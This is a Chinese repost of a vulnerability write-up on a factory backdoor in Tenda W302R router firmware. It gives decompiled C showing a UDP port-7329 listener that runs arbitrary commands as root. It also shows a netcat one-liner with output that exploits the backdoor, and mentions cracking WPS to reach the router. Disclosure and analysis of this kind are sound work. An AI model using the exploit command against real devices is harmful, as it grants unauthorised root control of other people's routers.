您现在的位置: 龚师傅之家 >> 文章中心 >> 黑客技术 >> 破解专题 >> 正文

旧网站入口

我是如何在腾达路由器固件程序上发现漏洞的

        ★★★

字体:

作者:佚名    文章来源:互联网    点击数:3098    更新时间:2014/1/4

现在再发一个路由器制造商——Tenda——产品中带有后门(此链接为英文链接),只要用一个UDP包就可以破解,免得大家以为我专黑D-Link。提取了Tenda的W302R无线路由器最新固件之后,我开始查看/bin/httpd,发现它是一个GoAhead服务器。

router00

/bin/httpd中的服务器头字符串,但是腾达自己做了很多特殊的修改。在进入HTTP接收回环之前,主函数调用了InitMfg函数,它会把MfgThread函数衍生出一个分离的线程:

router05

嗯……InitMfg函数和MfgThread?是不是和加工函数有关?有意思哈……

MfgThread第一件事就是创建一个UDP套接字,然后绑定到7329端口上:

router00

创建UDP套接字,并绑定到端口7329。这个进程接着进入一个frecvfrom循环中,从套接字里读取至多128个字节。而且要求收到的每个UDP包至少有14字节大:

router08

从套接字中读取数据包并检查大小,现在进入关键了,收到的UDP包就诶这被这段代码解析:

router03

处理收到的数据包,用C语言解析这段代码的话是这样的:

 

1

2

3

4

5

6

 

memset(rx_magic_string, 0, 0x80);

memset(command_byte, 0, 0x80);

memset(command_arg, 0, 0x80);

memcpy(rx_magic_string, rx_buf, 9);

command_byte[0] = rx_buf[11];

memcpy(command_arg, rx_buf+12, rx_size-12);

 

 

如果特殊字符串不匹配,停止处理该数据包并等待另一个包

 

1

 

if(strcmp(rx_magic_string, "w302r_mfg") != 0)

 

 

我们可以看出这个线程在等待带有如下结构体的数据包:

 

1

2

3

4

5

6

 

struct command_packet_t

{

char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte

char command_byte;

char command_arg[117];

};

 

 

只要手打的数据包以字符串“w302r_mfg”开头,代码就会和三个ASCII字符(’1′, ‘x’, and ‘e’)对比特殊指令字:

router06

将指令字与 ’1′, ‘x’ and ‘e’相比较,为了方便,我把剩下的反汇编代码(起码是重要的部分)转换成C代码:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

 

switch(command_byte)

{

case 'e':

strcpy(tx_buf, "w302r_mfg");

tx_size = 9;

break;

case '1':

if(strstr(command_arg, "iwpriv") != NULL)

tx_size = call_shell(command_arg, tx_buf, 0x800);

else

strcpy(tx_buf, "000000");

tx_size = strlen(tx_buf);

break;

case 'x':

tx_size = call_shell(command_arg, tx_buf, 0x800);

break;

default:

goto outer_receive_loop;

}

sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);

goto outer_receive_loop;

 

 

下面的动作对应三个可接受的命令字:

  • ‘e‘用预定义的字符串进行回复,主要是ping测试
  • ’1′允许你运行iwpriv命令
  • ‘x’允许你以根用户权限运行任何命令

如果’x’作为命令字,数据包命令字后面的提示符(上面的代码中称为command_arg)被传递给call_shell函数,它通过popen执行命令。

router04

不仅如此,call_shell用命令的输出填充tx_buf,如同我们在前面的C代码中开到的,输出最后会发回客户端!在知道MfgThread的功能以及它等待的数据包结构,我们可以很容易用netcat利用这个后门:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

 

$ echo -ne "w302r_mfgx00x/bin/ls" | nc -u -q 5 192.168.0.1 7329

drwxr-xr-x 2 0 0 1363 webroot

drwxr-xr-x 1 0 0 0 var

drwxr-xr-x 5 0 0 43 usr

drwxr-xr-x 1 0 0 0 tmp

drwxr-xr-x 2 0 0 3 sys

drwxr-xr-x 2 0 0 569 sbin

dr-xr-xr-x 39 0 0 0 proc

drwxr-xr-x 2 0 0 3 mnt

drwxr-xr-x 1 0 0 0 media

drwxr-xr-x 4 0 0 821 lib

lrwxrwxrwx 1 0 0 11 init -> bin/busybox

drwxr-xr-x 2 0 0 3 home

drwxr-xr-x 7 0 0 154 etc_ro

drwxr-xr-x 1 0 0 0 etc

drwxr-xr-x 1 0 0 0 dev

drwxr-xr-x 2 1000 100 574 bin

 

 

就是这么个小玩意,但是关键在于后门只能监听LAN,因此无法从WAN上使用。然而,它可以通过无线网络来利用,前提是无线网络默认开启WPS,且无强制速率限制。我的ReaverPro工具箱可以相对更快地破解WPS以接入WLAN,随后获得路由器的根权限(路由器一般有默认WPA钥,你可以先尝试一下):

router02

破解WPS的PIN

router01

开启telnetd获取根权限

根据那个神奇字符串来看,这个后门很可能先在腾达的W302R上出现,也存在于W330R,以及重命名的型号,比如MedialinkMWN-WAPR150N,他们都是利用同样的“W302r_mfg”这个数据包字符串进行破解。

文章录入:admin    责任编辑:admin 

[版权声名] 本网转载稿件及图片均来自于互联网,版权归属其版权拥有者全权所有。龚师傅之家此频道仅作为展示与交流之用。作品不代表本网观点,本网不承担此类稿件侵权行为的连带责任。谢谢您的支持!—— 龚师傅之家
  • 上一篇文章:

  • 下一篇文章:
  •  
    网友评论

    只显示最新10条。评论内容只代表网友观点,与本站立场无关!

     
    友情连接

    文字连接w3school在线教程| DIV+CSS布局教程

     

    站长:龚师傅 建站时间:2005-11-23 联系方式:QQ446380909

    网站备案:【蜀ICP备05028898号】